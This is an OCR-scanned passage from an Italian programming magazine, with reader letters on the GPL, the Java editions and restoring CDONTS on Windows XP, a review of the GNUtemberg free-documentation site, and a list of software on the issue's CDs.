e rispondermi. Grazie per l'atten-
zione e distinti saluti.
Pierantonio Pozzan
La Licenza GPL è progettata per assicu-
rarsi che chiunque abbia la libertà di
distribuire copie del software libero (e farsi
pagare per questo, se vuole); che riceva il
codice sorgente o che lo possa ottenere se
lo desidera; che possa modificare il pro-
gramma o usarne parti in nuovi program-
mi Uberi e che sappia di potere effettuare
queste operazioni. Per proteggere i diritti
dell'utente, la Licenza crea delle restrizioni
che vietano a chiunque di negare questi
diritti o di chiedere di rinunciarvi. Tali
restrizioni si traducono in responsabilità
per chi distribuisce copie del software e per
chi lo modifica. Ad esempio, chi distribui-
sce copie di un programma coperto da
GPL, sia gratis sia in cambio di un com-
penso, deve concedere ai destinatari tutti i
diritti che ha ricevuto. Deve anche assicu-
rarsi che i destinatari ricevano o possano
ottenere il codice sorgente. Deve mostrar
loro le condizioni di licenza, in modo che
essi conoscano i propri diritti. La Licenza
protegge i diritti dell'utente in due modi:
apponendo il marchio di copyright e
offrendo una licenza che dia il permesso
legale di copiare, distribuire e modificare il
programma. Inoltre, per proteggere l'auto-
re, la Licenza si assicura che ognuno com-
prenda che non ci sono garanzie per i pro-
grammi coperti da GPL. Se il programma
viene modificato da qualcun altro e ridi-
stribuito, gli acquirenti (e comunque gli
utenti) devono sapere che ciò che hanno in
dotazione non è l'originale, in modo che
ogni problema introdotto da altri non si
rifletta sulla reputazione degli autori origi-
nari. Infine, essendo ogni programma libe-
ro costantemente minacciato dai brevetti
sui programmi, la Licenza evita il pericolo
che chi ridistribuisce un programma libero
ottenga la proprietà di brevetti, rendendo
in pratica il programma cosa di sua pro-
prietà. Per prevenire questa evenienza, la
licenza chiarisce che ogni brevetto deve
essere concesso in licenza d'uso a chiun-
que, o non avere alcuna restrizione di li-
cenza d'uso. Infine, non c'è bisogno di
avvertire nessuno per utilizzare la GPL.
Semmai, si può contattare la Free Software
Foundation Inc. (59 Tempie Place, Suite
330, Boston, MA 02111-1307 USA) per farsi
aiutare nella redazione di una licenza
appropriata.
Java in tutte le salse
► ►►►►►►►►►►►►►►
Sono un "aspirante" sviluppatore
Java (molto aspirante a dire il
vero) e mi sto addentrando nei
suoi meandri. Vorrei sapere quali
sono le differenze sostanziali fra le
diverse distribuzioni J2EE, J2SE,
J2ME ed il rispettivo limite di impie-
go nello sviluppo di applicazioni.
Ringraziandovi anticipatamente,
porgo i miei saluti.
Marco Montanari
Ciao Marco, cercherò di essere breve e
chiaro: J2SE (Java 2 Standard Edition) è
la piattaforma standard per lo sviluppo, la
distribuzione ed il test di applicazioni Java.
Diciamo pure che è il nucleo attorno a cui
gli altri strumenti di sviluppo ruotano.
J2SE comprende il compilatore (che tra-
sforma il codice Java nel bytecode), una
serie di tool, la Java Virtual Machine (l'ele-
mento cui è fatto carico di eseguire il byte-
code), ed un insieme di API. J2EE (Java 2
Enterprise Edition): rappresenta sia la tecno-
logia che i componenti veri e propri svi-
luppati da Sun per agevolare lo sviluppo
di applicazioni business. La piattaforma
J2EE permette di gestire, in sicurezza, le
transazioni in ambito client server e offre
una serie di strumenti per un agevole uti-
lizzo dei Web Services e per la distribuzio-
ne di applicazioni orientate al Web. Infine
J2ME (Java 2 Micro Edition) è la tecnologia
Java orientata ai dispositivi mobili o
comunque a tutti i dispositivi che abbiano
forti limitazioni in termini computazionali.
Sarebbe sbagliato vedere J2ME come un
semplice sottoinsieme della Standard
Edition: una estrema ottimizzazione del
codice e alcune estensioni di supporto alla
grande varietà di dispositivi esistenti,
hanno fatto di J2ME lo standard de facto
per lo sviluppo di applicazioni mobile.
CDONTS su Windows XP
Professional
► ►►►►►►►►►►►►►►
Sono uno studente universitario,
vi leggo con molto interesse e
vorrei porre alla mitica redazione
una domanda: "Ma che fine ha
fatto il componente CDONTS su
Windows XP Professional?"
Ringraziando in anticipo auguro a
tutti voi buon proseguimento di
lavoro.
Mario Vengia - email
Risponde Carlo Pelliccia
Non si sa come mai CDONTS non sia
parte integrante di US 5.1, il Web
server di cui viene dotato Windows XP
Professional. Microsoft lo ha inspie-
gabilmente escluso da questa piattaforma.
La cosa è strana, perché nessun motivo
tecnico appare poter giustificare la scelta.
Basta infatti recuperare una copia del
componente da un'installazione di Win-
dows 2000, ed il gioco è fatto.
Ecco le operazioni necessarie:
1. Rimediare una copia del file cdonts.dll,
che nelle macchine Windows 2000 è
solitamente mantenuto nella cartella
C:\WINNT\System32\.
2. Trasferire il file nella cartella
C:\WINDOWS\System32\ del Win-
dows XP che si intende dotare del
componente.
3. Da Windows XP, avviare il tool Start >
Esegui, digitare regsvr32 cdonts.dll e
confermare il comando.
4. Riawiare il sistema.
In questo schema, si è supposto che
C:\WINNTX sia la cartella dell'installazio-
ne base del Windows 2000 dal quale si
intende prelevare il file, e C:\ WINDOWS \
quella del Windows XP Professional sul
Per contattarci:
e-mail: iopinbox@edmaster.it
Posta: Edizioni Master,
Via Cesare Correnti, 1 - 20123 Milano
http ://www.itport al.it
3 ►►► 127
I L
t o de
e s e
GNUtemberg
http://www.gnutemberg.org/ *^
i
La documentazione è uno tra gli stru-
menti più importanti di cui dispone
un programmatore. Prima di fare,
bisogna imparare e anche come fare per
fare bene! Senza documentazione, in effet-
ti, poco sarebbe possibile. Manuali, libri
tecnici, siti Internet e riviste come quella
che state leggendo, evidenziano in coro
tale necessità. I sistemi informatici hanno
raggiunto una notevole complessità, ed è
impossibile avvicinarsi ad uno di essi
senza avere la documentazione adeguata.
La documentazione è vitale, sia quando si
è esperti sia (e soprattutto) quando lo si è
un po' meno. Alzi la mano
chi ricorda a memoria i det-
tagli di tutti i comandi di
Unix, oppure le norme
d'impiego di tutte le funzio-
ni di PHP.
Esistono svariati tipi di do-
cumentazione. Ci sono gli
help in linea, ci sono le rivi-
ste che tendono a mostrare
la pratica della programma-
zione, ci sono migliaia e mi-
gliaia di manuali. Ci sono
anche le documentazioni
fruibili via Web, gratuite o a
pagamento. Comunque sia, spesso queste
documentazioni sono accompagnate da un
copyright, da un diritto d'autore e da clau-
sole che ne limitano l'utilizzo. Il più delle
volte, non è lecito acquistare un manuale in
libreria e poi fotocopiarlo a tutti gli amici.
Spesso, non è possibile riprodurre parti
troppo consistenti di una rivista. General-
mente, non è possibile prelevare un artico-
lo da un sito Web, ritoccarlo o estenderlo,
per poi ripubblicarlo dove si desidera,
anche mantenendo una nota verso il nome
dell'autore originario. No, di solito non è
possibile fare questo, tranne nel caso in cui
si stia facendo uso di documentazione libe-
ra.
Oramai tutti conoscono le due correnti di
software (e di pensiero) attualmente in cir-
colo, che infiammano le discussioni nei
forum di Internet. Parlo del software pro-
prietario e di quello libero. Il primo è blin-
dato: non è possibile guardare i sorgenti,
non è possibile modificarlo, non è possibi-
le ridistribuirlo. Il secondo, invece, è aper-
to e comunitario: è possibile averne i sor-
genti, è possibile modificarlo ed estender-
lo, è possibile ripubblicarlo e rivenderlo.
Basta osservare alcune regole di base, che
permettono il ripetersi del ciclo e che con-
sentono l'attribuzione dei giusti meriti per-
sonali. Per la documentazione, è più o
meno la stessa cosa. Esistono le pubblica-
zioni di tipo "classico", ed esistono le docu-
mentazioni libere. Il progetto GNU, avvia-
to da Richard Stallman circa venti anni fa,
uUtìì: e ::;:::■
vfofUvorr. fu
Giovedì 20 r
Ore 9:30-17:00
Centra Congres
ViaSalana113
Printer friendly version | Sitare thie etory
[ : l ;
Contatti GNUtemtjero.
LiberGHLt
GFDD
CD-ROM
Confetti Aidro
FexSiae
Eeenzione Bollino
■ Amministrazione e Apache. 2 nuovi docs
I
urooeuo e
■n documenti (GNi.: fui..: r:
e GFDD Un grazie a Cote
GMUfLinuìicot
ECCD. limale
Traduzione di
ItalianRutryiJ:
Python
: : :
non ha prodotto solamente la nota licenza
GPL, che si applica ai software, ma anche
la GNU Free Documentation License, che
si applica ai testi e alle documentazioni. La
GNU Free Documentation License, inoltre,
non è neanche l'unica licenza al mondo
destinata alla pubblicazione di documenta-
zione libera. La documentazione libera
può essere scambiata, stampata, rivenduta,
modificata, estesa, rivista ed altro ancora,
secondo i singoli casi. Ci sono editori che
pubblicano, in libreria, stampe di docu-
mentazione libera. Proprio come nel caso
del software, è possibile stabilire un mo-
dello che, contemporaneamente, faccia gli
interessi di tutti e che non tolga libertà a
nessuno. Naturalmente, esistono comunità
e punti di riferimento per chi vuole parte-
cipare alla stesura di documentazione libe-
ra, validi anche per chi intende semplice-
mente usufruirne.
All'indirizzo http://ioivw.gnutemberg.org/
trovate il sito del progetto "GNUtemberg!".
Cito testualmente la missione principale
del progetto: «Il nostro scopo è quello di
trovare e indicare agli utenti quelle struttu-
re che sono in grado di produrre e vendere
copie stampate o fotocopiate di documen-
tazione tutelata da licenze libere.». Tutta-
via, questa descrizione è restrittiva. Sono
molte le iniziative curate dal progetto
"GNUtemberg!". La più celebre, probabil-
mente, è quella all'indirizzo http:/ '/cdrom
.gnutemberg.org/. Qui troverete un'interes-
sante raccolta di documentazione libera,
mantenuta dai gestori del
progetto, che potrete sca-
ricare e stampare. Gli ar-
gomenti trattati dalle
pubblicazioni raccolte
spaziano soprattutto
all'interno del mondo del
software libero. Troverete
guide a GNU /Linux, ad
OpenOffice, a Perl, a
Python, a PHP, e così via.
C'è materiale sia in italia-
no sia in inglese. I formati
delle documentazioni, co-
me è lecito attendersi,
sono tutti ampiamente fruibili (PDF e
PostScript). Potrete scaricare una ad una le
singole documentazioni disponibili, oppu-
re potrete prelevare, in un colpo solo,
un'immagine ISO che vi permetterà di
riversarle tutte in un CD-Rom. Potrete
impiegare liberamente il CD, nel rispetto
delle non restrittive licenze che accompa-
gnano ogni singolo manuale presente al
suo interno. Un'altra interessante iniziativa
di "GNUtemberg!" consiste in un database
che raccoglie collegamenti verso fonti di
documentazione libera (http://ioioio.gfdd
.orgl). Infine, ci sono notizie, informazioni
ed una mailing list collegata alle attività
del progetto. Il sito è ben fatto e perfetta-
mente navigabile, totalmente in linea con i
canoni che spesso accomunano le pagine
Web dei siti vicini all'ambiente del Free
Software e dell'Open Source.
Carlo Pelliccia
128 ►►► Maggi
3
http: //www. itport al.it
ELENCO
SOFTWARE
SUI
C D
Elenco
Software
sul 1°CD
Elenco
Software
sul 2° CD
Mathcad 11
Uno dei più diffusi software
per il calcolo scientifico, utiliz-
zato in tutto il mondo e a tutti i
livelli.
Nel CD: Mathcad
FullXml
Software Open Source, per il
Content Management.
Nel CD: fullxml205.zip
J2ME Wireless
Toolkit 2.0
Progettare applicazioni per di-
spositivi Wireless diventa un
gioco da ragazzi.
Nel CD: j2me_wireless_
toolkit-l_0_4_01 -bin-win.exe
Code Co-op 4.0
Code Co-op 4.0 è un pro-
gramma di controllo versioni
sorgenti per applicazioni rea-
lizzate in C++, Java, HTML. . .
Nel CD: co-op. exe
FrameMaker 7.0
Una soluzione per l'authoring
ed il publishing che unisce la
semplicità di un word proces-
sor con XML.
Nel CD: fm7_tryout
J2SDK 1.4.1
L'ambiente di sviluppo SUN
nella sua ultima release.
Nel CD: j2se
IntelliJ IDEA 3.0.2
Un completo IDE per Java che
si dimostra al contempo sem-
plicissimo da utilizzare e po-
tente come pochi altri.
Nel CD: IntelliJ
Business Reports 2.0
Un complesso ambiente per la
generazione e la pubblicazione
di report che può interfacciarsi
con tutti i più diffusi database.
Nel CD: brfreel7.exe
DBxq 3.1
Una plancia di comando per
gestire qualsiasi database all'in-
terno di un ambiente semplice
e coerente.
Nel CD: dbxq.exe
Install-Us
Professional 4.5
Creare pacchetti di installazio-
ne professionali?
Nel CD: iuse.zip
IronEye SQL 1.0
Ottimizzare il codice SQL è
semplicissimo!
Nel CD: IronEye
Javelin 6.5.8
Un piccolo e interessante am-
biente di sviluppo che consen-
te, per via grafica, di realizzare
complesse applicazioni Java.
Nel CD: javelw32.exe
Peter's XML Editor 2.0
Un editor XML gratuito e dalle
elevate funzionalità.
Nel CD: pxe.exe
MySQL Studio 4.4
Un ottimo tool per la gestione
grafica di database MySQL.
Nel CD: pmstudio51trial.exe
Resource Tuner 1.91
Ottimo strumento per esplora-
re le risorse contenute negli
eseguibili.
Nel CD: rtsetup.exe
Visual Assist 6.0
Un assistente per la scrittura ra-
pida del codice .NET.
Nel CD: VAssist
XMLwriter 2.1
Uno dei migliori editor XML
presenti sul mercato in ver-
sione di prova per trenta gior-
ni.
Nel CD: xmlwril2.zip
La suite di compilatori
Intel per Windows
e Linux
• Intel C++ 7.0 Compiler for
Windows;
• Intel Fortran 7.0 Compiler
for Windows;
• Intel VTune Performance
AAnalizer;
• Intel IntegratedPerforman-
ce Primitive (IPP);
• Intel Math Kernel Library.
Kylix 3 Open Edition
L'ambiente di sviluppo per scri-
vere applicazioni Linux in pie-
no stile Delphi.
Nel CD: kylix3_open.tar.gz
GNU Compiler
Collection 3.2.2
La completissima suite di pro-
grammazione Open Source.
Nel CD: gcc-3.2.tar.gz
Bloodshed
Dev-C++ 4.01
L'aggiornamento dell'eccezio-
nale IDE per lo sviluppo di ap-
plicazioni C++.
Nel CD: devcpp4.zip
Dev-Pascal 1.9.2
Un moderno ambiente di svi-
luppo per gli amanti del vec-
chio Pascal.
Nel CD: devpasl92.exe
MSWLogo
Ricordate il linguaggio Logo?
Eccone una pratica implemen-
tazione! Destinato a chi muove i
primi passi nel mondo della
programmazione...
Nel CD: mswlogo65.exe
TinyPascal
Un compilatore nel palmo di
una mano.
Nel CD: tinypas.zip
Borland C++
Compiler 5.5
Uno dei più veloci compilatori
di sempre.
Nel CD: freecommandLine-
tools.exe
Delta Forth .NET 1.1
Il linguaggio Fortran sbarca su
.NET.
Nel CD: dforthnet.msi
^Installazione ActiveX in Visual Basic
Dal menu Progetto selezionare la voce Componenti (CT RL+T);
nella schermata presente a video è visibile una list box conte-
nente l'elenco dei componenti ActiveX installati nel sistema; da
questi è possibile selezionare uno o più componenti e confer-
mare mediante il bottone OK; qualora il componente non fosse
installato nel sistema ma fosse comunque presente nel com-
puter è possibile selezionare quest'ultimo tramite l'utilizzo del
bottone "Sfoglia" mediante il quale si ha accesso alle directory
del sistema; da queste è possibile localizzare il componente da
installare.
m Risorse Java
Molte delle risorse Java riportate all'interno del CD ROM sono
munite di file .java, .class e di file html per essere testate. Nel
caso di compilazione del file .java si dovrà utilizzare un oppor-
tuno strumento, come ad esempio il JDK di Sun.
Per utilizzarlo si dovrà operare da prompt del DOS, accedere al-
la directory bin dell'ambiente stesso ed avviare il Java Compiler
digitando la stringa: javac "nomefile".
130 ►►► M a g g
3
http ://www.itport al.it